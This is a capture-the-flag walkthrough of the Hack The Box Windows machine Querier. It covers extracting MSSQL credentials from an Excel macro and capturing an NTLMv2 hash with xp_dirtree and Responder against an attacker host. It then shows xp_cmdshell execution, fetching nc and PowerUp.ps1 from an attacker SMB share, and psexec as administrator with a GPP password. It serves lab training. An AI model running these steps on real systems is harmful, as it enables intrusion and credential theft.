# HTB | Querier

This is a Windows box. You can find it [here](https://app.hackthebox.com/machines/Querier).

#### Skill Learned

* Excel macros&#x20;
* PowerView

## NMAP

IP: 10.10.10.125

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FO4vLEWJm6qP8kwBnBRDc%2Fimage.png?alt=media&#x26;token=ab9c7afe-e1ce-49fa-a5d2-5410e5bcde78" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FEYet5IRSZgBxoSNS6cXX%2Fimage.png?alt=media&#x26;token=c4362677-d174-4fa2-a0a2-17d3c15c2813" alt=""><figcaption><p>nmap scan</p></figcaption></figure>

### Port 139 and 445

smbclient

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FLjgIYU9pTxo9yhRsKInq%2Fimage.png?alt=media&#x26;token=e67be420-073f-4a48-a2e1-c5de2507a31c" alt=""><figcaption><p>smbclient</p></figcaption></figure>

Able to connect to Reports

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fwh6yssgNXXYDRTRZ2aIh%2Fimage.png?alt=media&#x26;token=282634e1-182a-481a-b975-05fcb245a0ae" alt=""><figcaption><p>smbclient Reports</p></figcaption></figure>

get the file

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FOkzEytMX2UBp6XXNkHq4%2Fimage.png?alt=media&#x26;token=617f4259-b5a2-4ae9-9383-cf9f35331701" alt=""><figcaption><p>Currency Volume Report.xlsm</p></figcaption></figure>

## Foothold/shell

It is Microsoft Excel 2007

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FD84xysREq8rqxjLOgsnW%2Fimage.png?alt=media&#x26;token=bfc7f376-0e04-4e7b-ab8a-24968f5b0578" alt=""><figcaption></figcaption></figure>

```
binwalk -e
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F9RRHGUZEXLYsztpBC22H%2Fimage.png?alt=media&#x26;token=663e2841-97fa-4cd7-9f15-1ffa684ef172" alt=""><figcaption></figcaption></figure>

found vbaProject.bin in xl folder

```
cat vbaProject.bin | strings
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fk3hBjsCdX2Y5iDKzRG0h%2Fimage.png?alt=media&#x26;token=cb13a99f-c0c9-4ded-934a-bd226a7659be" alt=""><figcaption><p>cat vbaProject.bin | strings</p></figcaption></figure>

found the username and password we can use this cred to login to mssql (port 1433)

```
mssqlclient.py reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FqGiwrXfnwGocNZXgT24g%2Fimage.png?alt=media&#x26;token=25b5d211-2443-4484-934e-3dab384f17d9" alt=""><figcaption><p>mssqlclient.py reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth</p></figcaption></figure>

```
select @@Version
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FW5ETuLYsLpdxEetLVGNU%2Fimage.png?alt=media&#x26;token=06d1c50d-4026-4ab6-973f-1a1d233f820d" alt=""><figcaption><p>select @@Version</p></figcaption></figure>

To check for permission we have

```
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FpJHSrBt7uRZM5K0aDMEN%2Fimage.png?alt=media&#x26;token=cd977530-ec8a-4cb5-b6e7-5acce8f7ca9f" alt=""><figcaption><p>SELECT * FROM fn_my_permissions(NULL, 'SERVER');</p></figcaption></figure>

I can check out the databases available:

```
SELECT name FROM master.sys.databases
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Ft1KATwGLF4stwASbqqiI%2Fimage.png?alt=media&#x26;token=d9477f40-b866-4268-951f-9a8ed6fbdf0a" alt=""><figcaption><p>SELECT name FROM master.sys.databases</p></figcaption></figure>

### Capture Net-NTLMv2

The _xp\_dirtree_ command to get it to connect to me over SMB where we will be listening with the responder to capture the Net-NTLMv2.

I’ll use _xp\_dirtree_ to load a file, and I’ll tell the DB that the file is in an SMB share on my hosts. The server will try to authenticate to my host, where the responder will collect the Net-NTLMv2.

```
sudo responder -I tun0
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Flv7ab4tf763e4t6bymEX%2Fimage.png?alt=media&#x26;token=1bea7a61-aff1-4d1c-8afa-9ea705be5111" alt=""><figcaption><p>responder</p></figcaption></figure>

Next, I’ll issue the connect to load a file using xp\_dirtree from an SMB share (that doesn’t exist) on my host:

```
xp_dirtree '\10.10.14.8\a';
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FQNqYQ1Lu3fRgUMRVFyqT%2Fimage.png?alt=media&#x26;token=279775cf-0efd-4d39-ad2b-816862e4ee86" alt=""><figcaption><p>xp_dirtree '\10.10.14.8\a';</p></figcaption></figure>

.

on responder we have hashes

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F6UFkmmTCPfsoJGbeJLOR%2Fimage.png?alt=media&#x26;token=6f6e224c-c7f2-4925-9f73-5f1bde675946" alt=""><figcaption><p>hash for mssql-svc</p></figcaption></figure>

Since it is ntlmv2, we will use -m 5600

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F7WGvDcJFmNetWdhF82W4%2Fimage.png?alt=media&#x26;token=2bc037ad-2ed9-4ff2-87a0-aa113ea6913b" alt=""><figcaption><p>hashcat</p></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FRjRgHpvJPUzZxImczzaX%2Fimage.png?alt=media&#x26;token=742bdcaa-2b06-423e-9c71-46a6e466b0e6" alt=""><figcaption><p>cracked password</p></figcaption></figure>

Let's connect with mssql-svc

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fc2I5grqvQXvxzmrgtWhW%2Fimage.png?alt=media&#x26;token=ca074e3d-d46d-485b-98ec-03095ac821c8" alt=""><figcaption><p>mssqlclient</p></figcaption></figure>

We can do cmd execution by using xp\_cmdshell

```
xp_cmdshell whoami
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fu2oyXIcdXRyleuUOH7ZD%2Fimage.png?alt=media&#x26;token=94e95854-9838-430f-aa55-0809cc1cb25b" alt=""><figcaption><p>xp_cmdshell whoami</p></figcaption></figure>

Note, the actual syntax to run a command is EXEC xp\_cmdshell '\[command]';. However, the client I’m using to connect, mssqlclient.py has a built-in command to run a command over xp\_cmdshell, so I can just type xp\_cmdshell \[command].

As mssql-svc, I can enable xp\_cmdshell (something I couldn’t do as reporting). Just like running a command, there is an alias to do this in the script. The full commands are (from Microsoft’s documentation (https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-2017) ):

```
enable_xp_cmdshell 
xp_cmdshell whoami
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FctXpca7imtd1sbWvGWA7%2Fimage.png?alt=media&#x26;token=071ca2d3-3bf7-4a00-97f3-5660c4fc710b" alt=""><figcaption></figcaption></figure>

WindowsTo get a full shell on the box, there are many ways to go. I’ll host nc on an smb server, and let Windows run it from there.

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F35LlkFvkZtaXMZa15TjN%2Fimage.png?alt=media&#x26;token=eca0605b-7553-4282-a285-4e41d76581a3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FQmWbDhix2wVhOwb8oSmI%2Fimage.png?alt=media&#x26;token=bf5b95c1-9af8-4f4c-97b2-475e91114192" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FzIlq3kuVwwhe8v5p6T8j%2Fimage.png?alt=media&#x26;token=743b8366-4fd0-4e18-b6f2-70dde8d004bb" alt=""><figcaption></figcaption></figure>

found user.txt

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FDHi7DVNVXswle71lUCUg%2Fimage.png?alt=media&#x26;token=0070a3d4-c3c6-42a8-8ebc-fa2962be9732" alt=""><figcaption><p>user.txt</p></figcaption></figure>

## Priv Esc

Let's copy PoweUp.ps1

```
xcopy \10.10.14.8\share\PowerUp.ps1 .
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FcEspQ2cPr7LeES7SQDIB%2Fimage.png?alt=media&#x26;token=ca6e582f-ae8e-4cdb-81ab-d5e1e0183d97" alt=""><figcaption><p>copying the PowerUp.ps1</p></figcaption></figure>

```
powershell -ep bypass 
.\PowerUp.ps1
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FRtdRSropUMeByWFPHi4h%2Fimage.png?alt=media&#x26;token=015f691b-4a55-4102-a5d5-0766364d93f4" alt=""><figcaption><p>.\PowerUp.ps1</p></figcaption></figure>

In the GPP file, we found the Administrator password

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2FsdNK8t5FfYTWYQ7DQCM8%2Fimage.png?alt=media&#x26;token=0cd69936-e3ef-4ab1-9f96-544d3b9a0bcd" alt=""><figcaption></figcaption></figure>

Since we have a password we can use psexec

```
psexec.py administrator:'MyUnclesAreMarioAndLuigi!!1!'@10.10.10.125
```

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2F9Exp0WHMUUd3l1MY09eE%2Fimage.png?alt=media&#x26;token=60e1b1b2-ce22-4c50-a57f-783a994aabd0" alt=""><figcaption><p>psexec.py administrator</p></figcaption></figure>

we are in as nt authority\system

<figure><img src="https://2050535832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC1JOqzbmZkOvdQTzItEo%2Fuploads%2Fv0fuXRzdBBUSrNyKZyYp%2Fimage.png?alt=media&#x26;token=01cfc25b-6ef8-47b7-bb5d-d305951dcb1a" alt=""><figcaption><p>root.txt</p></figcaption></figure>
